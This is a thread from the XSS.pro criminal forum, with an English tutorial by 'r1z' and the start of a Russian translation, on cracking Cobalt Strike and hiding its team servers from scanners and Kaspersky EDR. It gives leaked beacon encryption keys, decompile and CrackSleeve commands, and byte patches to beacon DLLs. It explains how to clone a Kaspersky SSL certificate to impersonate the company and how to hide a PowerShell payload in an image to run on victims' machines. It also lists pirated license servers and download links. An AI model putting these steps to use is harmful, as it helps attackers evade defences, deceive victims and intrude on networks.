• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Hide your CobaltStrike like a PRO! & Bypass Kaspersky End Point Security AV/EDR (PART 2)

Pernat1y, do you know how cobaltstrike 4.4 got cracked ? or you still digging around how i crack it))?
Кншн. Откуда у меня такие превадные зиродеи?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Topic not finish yet, today there is an update will be post, keep tunned !

moveaxeax LOL ! i dare all of you if you know how to crack a peace of code in JAVA... today is your day, World Children's Day !

Pernat1y, do you know how cobaltstrike 4.4 got cracked ? or you still digging around how i crack it))? you can write admin or anybody you want, but your so much far of speaking about something you don't have a clue about.
hehe, don't trigger on my messages if i am not right :) if u want to write topiics in english, learn it better, bro ;-) u have wrong grammar
 
Пожалуйста, обратите внимание, что пользователь заблокирован
It's all inside, read it again.
Привет.
Ты статью обновил или ещё нет?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Added.

~/ Clone *.Kaspersky.com SSL & Avoid BlueTeam
~/ Bypass Kaspersky AV / EDR 04.06.2022
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Really amazing job, I dont quite feel capable to do it, but for those who can, this worth a lot!
Enjoy, any question write here.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
yashechka please update us with translated link once you complete it.
 
Holla !

In this topic, i'm going to put 2 parts in one of the intersted topic for who looking to hide and safe his teamserver vps, wer'e going to continue the series of how Hide your CobaltStrike like a PRO ヽ(#`Д´)ノ !!

Посмотреть вложение 37054

Added in the end of topic.
~/ Clone *.Kaspersky.com SSL & Avoid BlueTeam
~/ Bypass Kaspersky AV / EDR 04.06.2022


Before i start, this topic will include everything to hide your teamserver! when i say everything i mean all of these shitty will be undetectable and never be hunted !

Since November 2021 Shodan has registered “Cobal Strike Beacon” as a product in its dashboard, and ofcourse the rest will be added already, many scanners and blueteams now are working on scanning cobaltstrike from outside the box... what i mean in this is that once you install your VPS and make some OPSEC security on it like:

* SSH tunneling, block, etc.
* Apache/nginx tunnel and security.
* Cloudfront or CloudDFlare setup without some advanced OPSEC.
* Changing teamserver default port.
* Changing SSL default CERT.

and much more things you still need to change and implement in your infrastructure to make sure all these guys who's launching them honeypot or blueteam who looking forward you.

In this topic i will talk about 2 parts, first part we will hack cobaltstrike code, as promised for last release of cobaltstrike 4.4where many guys want to know how to compile or how to y modify cobaltstrike with them self.. and the second part will be to present my new script tool HCS ( Hide Cobalt Strike ), the most advantage of using HCS tool is to obfuscate online scanners, and honeypot, your datacenter.. because they all depend on JARM signatures ( aka JA3 + JA3's ), and i did scanned almost 10GB of JARM signatures and this will be used only frequency in the JARM hash's, so once you choice install JARM, you don't need to cover all configuration and compilcated things.. plus you dont need to put only one JARM in your teamserver, NO! the tool will keep updating your teamserver JARM every 5 seconds for almost 1GB of JARM signatures, so it will be almost impossible to these scanners to hunted you.

I will add more features in future to stop all kind of detect and distrubtion services who trying to hunting teamservers, so you don't need to be good OPSEC or bad, or junior, my tips.. and tricks, and my updated versions of this tool will give you the latest "START BEFORE YOU READY!" security and safty...

This tool will give you super power and safe your time for looking here and there to know how to work in peace mind, and to get your beacons undetectable as long as you keep updating yourself with latest update of this tool !

Посмотреть вложение 36002

The waiting undetectable cobaltstrike 4.4 + 4.5 JAR files will be included in this tool, also will include some other versions of cobaltstrike which work in Linux, MacOS, and windows using CrossC2 Plugin.

As i see and I want mention here one thing, the leaked cobaltstrike 4.5 it's not in "working state" for most of the guys who have the leaked one... there is a beacon exit issue when you elevate your privileges..

Посмотреть вложение 36008

In my release of cobaltstrike 4.5 in HCS script the beacon exit is fixed and no longer exit... VNC working fine, and much more!

Посмотреть вложение 36123

Посмотреть вложение 36125

Посмотреть вложение 36124


I want to mention about the new release of cobaltstrike 4.6
hearts
hearts
which cover some new update especailly againts cracking with JAR file, we will talk about this in seperate topic later on, since there is no much different between the cobaltstrike version 4.5 and 4.6 expect few things i have bypass it with HCS script !

Посмотреть вложение 36003

Files of cobaltstrike.jar + cobaltstrike-client.jar ┐(゚~゚ )┌

Посмотреть вложение 36004




The tool will be posted after this post, im still shaping the code and make sure it's compatible with debian, ubuntu destro.. so all these featues, modified cobalt strikes version from 4.3 due 4.6 will be in this tool. ( currently only for 4.5 ), but keep tunned as always.. as my first promising in releasing cobaltstrike 4.4, the new cobaltstrike 4.6 will be included in this tool soon, and only XSS community will have this update, and some old friends ofcourse ;)

We will talk now in this topic on how to modify checksum8 for begginners, and modify cobaltstrike URI features manually to have your stagers untracbles and clean from default URI

Now the series time !

Now Let's start to Download Original CobaltStrike 4.5 + 4.4.

Код:
# Cobalt Strike 4.5 (December 14, 2021)
a5e980aac32d9c7af1d2326008537c66d55d7d9ccf777eb732b2a31f4f7ee523    Cobalt Strike 4.5 Licensed (cobaltstrike.jar)
# Cobalt Strike 4.4 (August 04, 2021)
7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858    Cobalt Strike 4.4 Licensed (cobaltstrike.jar)

I want to mention to who are using JAVA 1.8, and other version, to upgrade the JAVA to latest version, since the stable version of my working cobaltstrike is JAVA 18, i did use JAVA 17 and will JAVA 18 will be working fine with no issue for you.

You can install it for PARROT / KALI :

Код:
sudo apt update
apt-get install openjdk-18-jdk -y

Check your version by running "java -version".

Second my recommended & preffered java editor and compiler is LUYTEN Java Decompiler GUI ¯\_(ヅ)_/¯" and for juniors i recommend Intellij IDEA... i will go through both in anyway.

* Luyten.
* IntelliJ Idea.
* Java JDK.

The java-compiler is needed also with Idea, i will explain to you how to download it through plugins.

~/ Luyten
To start with luyten, just put the cobaltstrike.jar with luyten.jar in same folder as below picture, and run the command:

JavaScript:
java -jar luyten.jar cobaltstrike.jar

Посмотреть вложение 36005

Then select :

Код:
file --> save all --> decompiled-cobaltstrike.zip

Посмотреть вложение 36006

Once decompiled copy is ready you will see ( completed ) in the bar down like this.

Посмотреть вложение 36007

Now your ready to start modify cobaltstrike JAVA files with any kind of editor you like, but we will skip this since i don't want make more longer topic for advanced use.

Let's go with IDEA..

~/ Activate Intellij IDEA
Once you download the IDEA, you may need to activate it for free ;) if so, then go to // Activate Intellij Idea "Latest version".

First you need to download latest version from official site here, and choice your destro... once finish the installation, go to help --> register as below picture.

Посмотреть вложение 36075

Then click on "Activate new License", choise any of the free activation servers below:

Код:
http://lic-server.mephi.ru
https://jetbrains-license.learning.casareal.co.jp
http://adsk06.tpu.ru:8080

Посмотреть вложение 36079

Congratulations, now we can work on IDEA without 30 days issue...

Next step go to

Код:
File --> setting --> plugins --> click on ( Marketplace ).

Here you need to write ( java decompiler ) to install the decompiler tools, and IDEA classes.

Посмотреть вложение 36088

Now don't forget after choising "JAVA Decompiler" to click on apply and then OK.

Ok... now the work demo will be in windows since it's more stable than linux, but ofcourse you can work in linux (parrot, kali) if you prefer.

Were done to prepare our self for start... let's specify our "JAVA DECOMPILER" plugin we just install in our CMD.

~/ Intellij IDEA setup
You neet to mention here 3 important notes:

1) We need to add the arguments of IDEA decompile:

Код:
org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true

2) We need to put the location of IDEA java-decompiler which we install from plugin.

Код:
D:\IntelliJ.IDEA.2022.1.1\plugins\java-decompiler\lib\java-decompiler.jar

3) The original cobaltstrike.jar inside decompile location of IDEA project, which we will decompile it and put the CS 4.5 .JAVA files inside (decompiler_cobaltstrike) folder.

Код:
D:\CS\Crack\XSS_IDEA_CRACK\r1z_XSS_CS_4.5\decompiler_cobaltstrike

The complete command should be looks like this:

Код:
java -cp D:\IntelliJ.IDEA.2022.1.1\plugins\java-decompiler\lib\java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true D:\CS\Crack\XSS_IDEA_CRACK\r1z_XSS_CS_4.5\cobaltstrike.jar D:\CS\Crack\XSS_IDEA_CRACK\r1z_XSS_CS_4.5\decompiler_cobaltstrike\

Посмотреть вложение 36099

Now once we start decompile...the last decompiled class is: ZoomableImage, check below picture:

Посмотреть вложение 36100

Now we need to create 2 folders inside our IDEA project:

1) src: we will have our modified java files..
2) lib: we will have our decompiled cobaltstrike files.
3) output: this is where we will get the compiled jar file.

Then we need to extract the (decompiled_cobaltstrike.jar) we have inside (decompiler_cobaltstrike) folder as below:

Посмотреть вложение 36102

It should looks like this:

Посмотреть вложение 36103

Now our scrtucture should looks like this:

Посмотреть вложение 36104

after done theouside files, open the IDEA, it's should look like this:

Посмотреть вложение 36105

You may have warning message to trust the project, and since we are using original cobaltstrike.jar you may trust it, otherwise just watch ┐(゚~゚ )┌

Посмотреть вложение 36106

The final structure inside IDEA project should looks like this, where the original cobaltstrike.jar will be inside the lib folder, we need it to be there for the compiled success.. and the decompiler_cobaltstrike files will needed for modified the files... and the SRC folder we will put what files we need to modified in the cobaltstrike.jar

Now we need to check the SDK and JAVA compiler as set correctly before we start modified..

Go to ( File --> Project Structure --> check SDK version is set to 18 ) as picture below:

Посмотреть вложение 36107

Check everything is set as the picture below:

Посмотреть вложение 36108

Now, go to module to select the cobaltstrike.jar file, follow the picture steps to select it correctly:

Посмотреть вложение 36109

Then

Посмотреть вложение 36110

Then click on "Apply" and then "OK".

Click now on the "check icon" as picture below, then "APPLY" and the we will go then to click on "Artifact".

Посмотреть вложение 36111

Then to Artifact select:

Посмотреть вложение 36112

Then select the "Aggressor" and then "OK".

Посмотреть вложение 36113

The looks should be like this ( make sure Module location is set to your project address ) and the click "OK".

Посмотреть вложение 36114

Now last check to check the SDK folder of your JAVA 18 is set correcting inside JDK home path.

Посмотреть вложение 36115

I have extract the JAVA 18 files inside my D:/JAVA folder, so this is expection, you may have it in C:\Java18 or any other place you have installed the JAVA files inside.

Now our structure IDEA for compiling, and modife are ready to start.. so everything from now is easy to understand and you can put your imaging to didn't follow me, you can change your data as per your need... if you looking to make your own modified cobaltstrike 4.4 or 4.5 cobaltstrike!

~/ Modify checksum8
The files which containe the algorithm checksum8 of cobaltstrike webserver is (2) files.

1) "WebServer.java" file in "decompiler_cobaltstrike\cloudstrike".
2) "CommonUtils.java" file in "decompiler_cobaltstrike\common".

We need to copy these 2 files inside our "SRC" folder, with same folder structor name where this is a "MUST", check below screenshot.

Посмотреть вложение 36116

Now click on the Webserver.JAVA file and "ctrl+f" to search for "checksum8" word.

Посмотреть вложение 36117

The above selected is the important part of checksum8, we have 3 steps to do here:

1) delete or keep the (% 256L) value, since we going to change our stagers hashsum this wont effect us anymore.
2) change the x32 and x64 hashsume address to another extention, example... you can make your beacon uri hashsum on base of images .JPG, or base of .PNG, or base of .JS, or .PDF, any kind of extention with this script, i will use .PDF extention for thie demo.
3) after changing the hashsum we need to modify the result in WebServer.JAVA

Код:
public class EchoTest {
    publicstatic long checksum8(String text) {
        if (text.length() < 4) {
            return0L;
        }
        text = text.replace("/", "");
        long sum = 0L;
        for (int x = 0; x < text.length(); x++) {
            sum += text.charAt(x);
        }
        return sum;
    }
    publicstatic void main(String[] args) throws Exception {
        System.out.println(checksum8("xssr1zxssr1zxssr1z.pdf"));
    }
}

Here i did mention the address to: xssr1zxssr1zxssr1z.PDF for our x32 which give us 2665 where in cobaltstrike default was 92 !

You can change your address you want, it's for your imagain now ;)

Посмотреть вложение 36127

The second x64 stage address is: r1zr0cksr1zr0cksr1zr0cks.PDF which igive us 2664 and in the default cobaltstrike was 93 !

Посмотреть вложение 36098

To check your code calculate, check the site address:

https://www.programiz.com/java-programming/online-compiler/

The important part here is what we need to change is the value of these calculation, so x64 and x86 could have same valu, or different, it's doesn't matter.



Now our modify will be only for the value of (92 aka 2665) and (93 aka 2664) of the stagers, don't change anything else.

Посмотреть вложение 36118

You can remove the ( % 245L ) also, it wont effect out stagers.. just small error will have in compiling.

Next modify will be on the "CommonUtils.JAVA", double click on the file and search for ( checksum8 ) in the functions MSFURI + MSFURI_X64 as below:

MSFURI x32 we need to add our new URI for stager x32

Посмотреть вложение 36119

MSFURI_X64 we need to add our new URI for stager x64.

Посмотреть вложение 36120

After chaging, it's should looks like this.

Посмотреть вложение 36121

Now as we see above, we only change 2 files, the cloudstrike functions of webserver and the Commonutils file in the common file...

We need to build the artifacts now project now, we may get some error kz of the changing above, but it's okay, we will fix it simple by remove the errors functions.

As you can see our compile has been done successfully in the help of our Lib/cobaltstrike.JAR ヽ(#`Д´)ノ

Посмотреть вложение 36122

~/ Obfuscate Beacons
We will go to second and the most important part in obfuscating our beacon DLL!

We will put our "BeaconPayload.java" inside our "SRC" and make sure the structure is correct as below:

Create folder inside "SRC" and name it "beacon", and paste the "BeaconPayload.JAVA" inside it, it should look like this.

Код:
src/beacon/BeaconPayload.java

Посмотреть вложение 36442

Now, open BeaconPayload.java in IDEA, and look at below picture where hex "2E" ( 0x2E ) in decimal encoding.

Посмотреть вложение 36443

We need now to change this decimal encode to anything else, for this demo, i have change it to "77" ( 0x4D ) in hex.

Посмотреть вложение 36444

Use this site to convert your decimal to hex.

So far, what we did now is obfuscation the source code of loading the DLL in CS, now we need to modify the DLL with "CrackSleeve + IDA".

~/ CrackSleeve
I want mention here that to be able to modify the DLL you need the key, since the modified cobaltstrike 4.5 i will release with my tool HCS, we will work on previous DLL of cobaltstrike 4.4 by following this method you can modify cobaltstrike 4.x upto 4.5.

Now we need to modify our beacon DDL's via CrackSleeve.

put the CrackSleeve.java and cobaltstrike.jar in same folder, and edit the file CrackSleeve.java with IDEA.

open CrackSleeve.java in IDEA and change the key as below:

Посмотреть вложение 36445

OriginKey CS 4.4:
Код:
{94, -104, 25, 74, 1, -58, -76, -113, -91, -126, -90, -87, -4, -69, -110, -42}

I want mention here, that if you would like to modify beacons of cobaltstrike 4.0 or 4.1, 4.3, 4.4, 4.5 then you can download the original files of cobaltstrike 4.1 due 4.5 and also i put the keys (execpt 4.5 until the release of the tool) so you can use any version and modified it need by replace it in CrackSleeve.java ヽ(#`Д´)ノ

Download CS 4/x original files:
Код:
https://anonfiles.com/N3kdH1idy9/CS_4.x_original_XSS_7z

Посмотреть вложение 36446

OriginKey
Код:
//private static byte[] OriginKey40 = {27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 };
//private static byte[] OriginKey41 = {-128, -29, 42, 116, 32, 96, -72, -124, 65, -101, -96, -63, 113, -55, -86, 118 };
//private static byte[] OriginKey42 = {-78, 13, 72, 122, -35, -44, 113, 52, 24, -14, -43, -93, -82, 2, -89, -96};
//private static byte[] OriginKey43 = {58, 68, 37, 73, 15, 56, -102, -18, -61, 18, -67, -41, 88, -83, 43, -103};
//private static byte[] OriginKey44 = {94, -104, 25, 74, 1, -58, -76, -113, -91, -126, -90, -87, -4, -69, -110, -42}

Decryption Keys
Код:
4.0 1be5be52c6255c33558e8a1cb667cb06
4.1 80e32a742060b884419ba0c171c9aa76
4.2 b20d487addd4713418f2d5a3ae02a7a0
4.3 3a4425490f389aeec312bdd758ad2b99
4.4 5e98194a01c6b48fa582a6a9fcbb92d6

Now after changing the key in the CrackSleeve.java run the command:

Код:
javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java
Then
Код:
java -classpath cobaltstrike.jar;./ CrackSleeve decode

Then if your CS key is correct, you will find the decryption DLL inside the (sleeve) folder.

Код:
Resources/Decode/sleeve

~/ IDEA dll Obfuscate
Open IDA and start with any of DLL you want to modify ( i choise the beacon.dll ).

Посмотреть вложение 36447

Search ( ALT+T ) for ( 2E ---> find all occurrences ).

Посмотреть вложение 36448

find "XOR" and click on it, then go to "Edit --> Patch program --> Change byte".

Посмотреть вложение 36449

Change from 2E to any you like, for me i choice 9F

2E XOR

Посмотреть вложение 36450

9F XOR
Посмотреть вложение 36451

after editing confirm

Посмотреть вложение 36452

Then apply the patch.

Посмотреть вложение 36453

DON'T SAVE the back! skip it.

Now we need to encrypt our modified DLL through CrackSleeve, run this command and copy the sleeve inside IDEA project.

Код:
java -classpath cobaltstrike.jar;./ CrackSleeve encode 5e98194a01c6b48fa582a6a9fcbb92d6

Посмотреть вложение 36454

after confirm the same procedure for the rest of DLL in the sleeve folder, open your IDEA and follow the picture ( copy your sleeve inside IDEA project ).

Посмотреть вложение 36455

~/ Clone *.Kaspersky.com SSL & Avoid BlueTeam
In this part, we will seperate the SSL Hijack with 2 parts:
- Clone SSL
Some companies, they add security in TLS to didn't download it, ex: kaspersky.com

If we try to download it, we will get this error:

Посмотреть вложение 37010

To bypass this, worldwide company such kaspersky, they spilt subdomains to some partners who don't follow the security policy the headquarter do, so simple subdomain scanning, we grab one of the trusted subdomain of kaspersky, which is: me-en.kaspersky.com, try to clone the SSL and see:

Посмотреть вложение 37011

Sounds perfect now, our Kaspersky.com SSL is ready to use.

But now you need to check the real SSL information, and write it down for our use in the C2 configuration file.

Посмотреть вложение 37029

Click in details to get more information.

Посмотреть вложение 37030

Second my recommended once you know your customer AV to clone the same company SSL and register "FAKE" domain which you will use when we generate our beacon, so to catch our beacon and know that our kaspersky.com domain is "FAKE" will be harder for blue team to analyze it.

also good trick to add subdomain for kaspersky such as, dl.kasperskyetcdomain.com or kav.kasperskyetcdomain.com, and so on..

- C2 Setup / RedGuard.

The setup for the C2, it's quit easy.. but the most important here for our advanced OPSEC is to use the kaspersky.com domain or any other domain you need, before running your teamserver, setup redguard with the command:

Код:
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
go build -ldflags "-s -w"
chmod +x ./RedGuard&&./RedGuard

Once the setup is done, you will see something like this.

Посмотреть вложение 37028

This is the default setting, you need to change your setting now in and reload the C2.

Код:
/root/.RedGuard_CobaltStrike.ini

Посмотреть вложение 37031

Now let's create and configure our listener ( https + http ) with C2, and make sure to have your own "FAKE" domain, as per your client AV, EDR.

http listener ( Port 80 ---> 8080 ).
https listener ( port 443 --> 4433 ).

Посмотреть вложение 37026

Once you done, you can check the C2 status.

Посмотреть вложение 37032

~/ Bypass Kaspersky AV / EDR 04.06.2022
Well, most AV / EDR companies the important part for them to disable powershell ! the power of any shell in windows... and today i will share a public "Bypass powershell" script which will work with you in 4-5 steps.

We all hear about Invoke-Image which hide the malicious code (powershell.ps1) inside image (xss.jpg), but now we will work on duplicated the encryption of the image.. i will not explain more about, the most important to import the Invoke-PSImage script in your windows lab.

1) open powershell and import Invoke-PSImage.ps1 into your powershell ( make sure AV and Windows Defender is turn off while importing the shellcode ):

Код:
Import-Module .\Invoke-PSImage.ps1

2) generate your malicious image

Код:
Invoke-PSImage -Script .\payload.ps1 -Out .\r1z.png -Image .\xss.jpg -Web

Посмотреть вложение 37016

3) Now and the important part is to get upload your image in your teamserver, and update/insert the uploaded link in your encrypted powershell to run it on the client box.

Посмотреть вложение 37018


The PNG looks like real picture, you can upload it anywhere in trusted site or even in client site, or your teamserver.

Посмотреть вложение 37019

Setup your cobaltstrike listener.

Посмотреть вложение 37020

update the link of the image.

Посмотреть вложение 37022

Посмотреть вложение 37021


Copy and paste the updates encoded powershell script and run it in the client powershell.

Посмотреть вложение 37023

Additional layer of make our beacon harder to find, our communication with the client will be encrypted through SSL communication under "FAKE" domain of kaspersky we choice;)

Посмотреть вложение 37024

There is many way, and many tools as a OPSEC you can use, but here i will share some top tools i personaly recommended to use, and we will go trough it step by step until we achieve our goal in bypassing the latest update on Kaspersky End Point Security & Network moniter with our CobaltStrike 4.5

Now your obfuscate steps in your DLL and IDEA project, beacon is not going to leak any information and will remind keep hidden from all "NCCGroup" research's and other bullshit)) up coming will be more strong in OPSEC hidding

Test your modified beacon.dll with any of beacon scanners, ex:

Посмотреть вложение 36456

I want share the most OpSec configuration in your (Malleable C2) to make sure the following options are configured that limit the use of RWXflagged memory (suspicious and easy to detect) and clean up shellcode after beacon startup:
  • set startrwx "false";
  • set userwx "false";
  • set cleanup "true";
  • set stomppe "true";
  • set obfuscate "true";
  • set sleep_mask "true";
  • set smartinject "true";
Most of the EDR, AV are working in same checksum, hash check, API check, etc... while working in this article, step by step.. and tunning your profile which is the most important part to hide your activity inside any EDR system, they all work in same gathering way expect few who i will cover how to bypass it in future.

** Our soup recipe: ヽ (# `Д ●) ノ
  • Nmap scanner. (blocked) ✔
  • BeaconEye scanner (blocked) ✔
  • Cobalt parser. (blocked) ✔
  • Hidden URI aka checksum8. (hidden) ✔
  • Hide your Teamserver under CloudFlared Tunnel ✔
  • Steal *.Kaspersky.com SSL. (bypassed) ✔
  • Bypass Kaspersky End Point Security. (bypassed) ✔
  • Install TOR over Teamserver (HCS tool).
  • Install OpenVPN with redirector (HCS tool).
  • Install DNSCrypt (DoH) via CloudFlare. (HCS tool).
  • Install Domains Randomizor (HCS tool).
  • Install JARM randomizor aka JA3's obfuscator (HCS tool).
  • install automated script for custom cobaltstrike 4.4 + 4.5 (HCS tool).

** additional hidden OPSEC on JARM signature, aja JA3's obfuscator, VPN integtration with redirectors, custom XSS cobaltstrike 4.5 Edition and more OPSEC tips and tricks will be added every month on HCS All-In-One script !


Pass files: r1z@xss.pro

Keep tunned!
./r1z
r1z is definitely a gem.
It is tiresome to evade AV but this seems like a great piece of tutorial, def. going to try the tips. thanks.
 
yashechka please update us with translated link once you complete it.
Хорошо. Буду начинать переводить.
 
Original topic in English written, to who have difficult translation and understanding, check the full topic here by the author, r1z

Ола, Амигос.

В этой теме я собираюсь разместить две части в одной из интересующих тем для тех, кто хочет спрятать и обезопасить свой тимсервер впс. Я собираюсь продолжить серию о том, как скрыть свой CobaltStrike как PROфи (https://xss.pro/threads/54879/)ヽ(#`Д ´)ノ !!

1654881878069.png


Добавлено в конец темы.
~/ Клон *.Kaspersky.com SSL и уклон от BlueTeam
~/ Обход Касперского AV/EDR 04.06.2022


Прежде чем я начну, эта тема будет включать в себя все, чтобы скрыть ваш командный сервер! Когда я говорю все, я имею в виду, что вся эта шняга будет незаметны и на неё никогда не будут охотиться!

С ноября 2021 года Shodan зарегистрировал "Cobal Strike Beacon" в качестве продукта в своей панели инструментов, и, конечно, остальные будут добавлены уже сейчас. Многие сканеры и blueteams сейчас работают над сканированием cobaltstrike нестандартно...

Я имею в виду, что как только вы установите свой ВПС и сделаете на нем некоторую безопасность OPSEC, например:

* SSH-туннелирование, блокировка, етк.
* Туннель Apache/nginx и безопасность.
* Настройка Cloudfront или CloudDFlare без каких-либо расширенных возможностей OPSEC.
* Изменение порта командного сервера по умолчанию.
* Изменение сертификата SSL по умолчанию.

и многое другое, что вам еще нужно изменить и внедрить в свою инфраструктуру, чтобы убедиться, что все эти ребята, которые запускают хонипоты или блютимеры, ждут вас с нетерпением.

В этой теме я расскажу о двух частях. В первой части мы будем взламывать код cobaltstrike, как и было обещано для последнего выпуска cobaltstrike 4.4, где многие ребята хотят знать, как компилировать или как модифицировать cobaltstrike самостоятельно. А во второй части будет представлен мой новый скриптовый инструмент HCS ( Hide Cobalt Strike ), наибольшее преимущество использования инструмента HCS заключается в том, чтобы запутать онлайн-сканеры и хонипоты, ваш центр обработки данных.. потому что все они зависят от подписей JARM (также известных как JA3 + JA3), и я отсканировал почти 10 ГБ подписей JARM, и будет использоваться только частота в хеше JARM, поэтому, как только вы решите установить JARM, вам не нужно охватывать все конфигурации и сложные вещи.. + вам не нужно ставить только один JARM на свой командный сервер, НЕТ! Инструмент будет обновлять JARM вашего командного сервера каждые 5 секунд для почти 1 ГБ сигнатур JARM, поэтому этим сканерам будет практически невозможно выследить вас.


В будущем я добавлю больше функций, чтобы остановить все виды служб обнаружения и распространения, которые пытаются охотиться на командные серверы, поэтому вам не нужно быть хорошим OPSEC, плохим или джуниором, мои советы.. и трюки, а мои обновленные версии этого инструмента предоставят вам последнюю версию "START BEFORE YOU READY!" безопасности и сохранности...

Этот инструмент даст вам суперсилу и сэкономит ваше время, чтобы искать здесь и там, чтобы знать, как работать спокойно, и сделать ваши маячки необнаружимыми, пока вы продолжаете обновлять сервер с последним обновлением этого инструмента!

1654881937194.png


В этот инструмент будут включены ожидающие необнаруживаемые JAR-файлы cobaltstrike 4.4 + 4.5, а также некоторые другие версии cobaltstrike, которые работают в Linux, MacOS и Windows с использованием плагина CrossC2.

Я хочу упомянуть здесь одну вещь, утечка Cobaltstrike 4.5, она не в "рабочем состоянии" для большинства парней, у которых есть утечка ... есть проблема выхода маячка, когда вы повышаете свои привилегии..

1654881956410.png


В моем релизе cobaltstrike 4.5 в сценарии HCS выход маячка пофиксен и больше не завершается ... VNC работает нормально, и многое другое!

1654881980767.png


1654881992271.png


1654882007581.png


Я хочу упомянуть о новом релизе cobaltstrike 4.6, который включает в себя некоторые новые обновления, особенно против взлома с помощью файла JAR, мы поговорим об этом в отдельной теме позже, так как нет большой разницы между версиями cobaltstrike 4.5 и 4.6, за исключением нескольких вещей. У меня есть обход его с помощью сценария HCS!

1654882026883.png


Файлы cobaltstrike.jar + cobaltstrike-client.jar ┐(゚~゚ )┌

1654882043415.png


April 12, 2022 - Cobalt Strike 4.6

+ Improved product security:
The Cobalt Strike teamserver now runs from a Executable image (TeamServerImage), rather than a standard Java application.
The Cobalt Strike client now runs from a new jar file ('cobaltstrike-client.jar' rather than 'cobaltstrike.jar').
The 'TeamServerImage' and 'cobaltstrike-client.jar' files are extracted from the 'cobaltstrike.jar' as needed.

Инструмент будет опубликован после этого поста. Я все еще формирую код и убеждаюсь, что он совместим с debian, ubuntu destro.. так что все эти фишки, модифицирующие cobalt strikes версии с 4.3 до 4.6 будут в этом инструменте. (в настоящее время только для 4.5), но, как всегда, следите за обновлениями.. как мое первое обещание в выпуске cobaltstrike 4.4, новый cobaltstrike 4.6 скоро будет включен в этот инструмент, и только сообщество XSS будет иметь это обновление, и, конечно, некоторые старые друзья.

Сейчас в этой теме мы поговорим о том, как изменить checksum8 для начинающих и изменить функции URI cobaltstrike вручную, чтобы ваши стейджеры не отслеживались и очищались от URI по умолчанию.

А теперь время сериала!

Теперь приступим к загрузке оригинального CobaltStrike 4.5 + 4.4. (https://anonfiles.com/3ak5Jch2y2/r1z_XSS_cobaltstrike_zip)

https://verify.cobaltststrike.com

# Cobalt Strike 4.5 (December 14, 2021)
a5e980aac32d9c7af1d2326008537c66d55d7d9ccf777eb732b2a31f4f7ee523 Cobalt Strike 4.5 Licensed (cobaltstrike.jar)
# Cobalt Strike 4.4 (August 04, 2021)
7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858 Cobalt Strike 4.4 Licensed (cobaltstrike.jar)


Я хочу упомянуть тех, кто использует JAVA 1.8 и другую версию, чтобы обновить JAVA до последней версии, поскольку стабильной версией моего рабочего cobaltstrike является JAVA 18. Я использовал JAVA 17, и JAVA 18 будет работать нормально без проблема для вас.

Вы можете установить его для PARROT/KALI:

sudo apt update
apt-get install openjdk-18-jdk -y


Проверьте свою версию, запустив "java -version".

Второй мой рекомендуемый и предпочтительный Java-редактор и компилятор - LUYTEN Java Decompiler GUI ¯\_(ヅ)_/¯", а для новичков я рекомендую Intellij IDEA... я пройду через оба в любом случае.

* Luyten.
* IntelliJ Idea.
* Java JDK.


Java-компилятор нужен еще и с Idea. Я объясню как его скачать через плагины.

~/ Luyten

Чтобы начать с luyten, просто поместите файл cobaltstrike.jar с luyten.jar в ту же папку, что и на картинке ниже, и выполните команду:

java -jar luyten.jar cobaltstrike.jar

1654882153710.png


Затем выберите:

file --> save all --> decompiled-cobaltstrike.zip

1654882171821.png


Как только декомпилированная копия будет готова, вы увидите (completed) на панели внизу, как показано ниже.

1654882188531.png


Теперь вы готовы начать изменять файлы JAVA cobaltstrike с помощью любого редактора, который вам нравится, но мы пропустим это, так как я не хочу делать более длинную тему для расширенного использования.

Давай перейдем к IDEA..

После того, как вы загрузите IDEA, вам может потребоваться активировать ее бесплатно ;) если это так, перейдите в // Activate Intellij Idea "Latest version".

Сначала вам нужно скачать последнюю версию с официального сайта здесь и выбрать дестро... после завершения установки перейдите к help --> register, как показано на рисунке ниже.

1654882224561.png

Затем нажмите "Activate new License", выберите любой из бесплатных серверов активации ниже:


1654882264134.png


Поздравляю, теперь мы можем работать над IDEA сколько нужно...

Следующий шаг перейти в:

File --> setting --> plugins --> click on ( Marketplace ).

Здесь вам нужно написать ( java decompiler ), чтобы установить инструменты декомпилятора и классы IDEA.

1654882297840.png


Теперь не забудьте после выбора "JAVA Decompiler" нажать "Применить", а затем "ОК".

Ok... теперь рабочая демка будет в Windows, поскольку она более стабильна, чем Linux, но, конечно, вы можете работать в Linux (parrot, kali), если хотите.

Мы готовы, чтобы подготовить себя к старту... давайте укажем наш плагин "JAVA DECOMPILER", который мы только что установили в нашей CMD.

Intellij IDEA setup

Вы должны упомянуть здесь 3 важных примечания:

1) Нам нужно добавить аргументы декомпиляции IDEA:

org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true

2) Нам нужно указать расположение java-декомпилятора IDEA, который мы устанавливаем из плагина.

D:\IntelliJ.IDEA.2022.1.1\plugins\java-decompiler\lib\java-decompiler.jar

3) Исходный файл cobaltstrike.jar внутри папки декомпиляции проекта IDEA, которую мы декомпилируем и помещаем файлы CS 4.5 .JAVA в папку (decompiler_cobaltstrike).

D:\CS\Crack\XSS_IDEA_CRACK\r1z_XSS_CS_4.5\decompiler_cobaltstrike

Полная команда должна выглядеть так:

java -cp D:\IntelliJ.IDEA.2022.1.1\plugins\java-decompiler\lib\java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true D:\CS\Crack\XSS_IDEA_CRACK\r1z_XSS_CS_4.5\cobaltstrike.jar D:\CS\Crack\XSS_IDEA_CRACK\r1z_XSS_CS_4.5\decompiler_cobaltstrike\

1654882375216.png


Теперь, когда мы начнем декомпилировать... последний декомпилированный класс: ZoomableImage. Посмотрите на картинку ниже:

1654882387980.png


Теперь нам нужно создать 2 папки внутри нашего проекта IDEA:

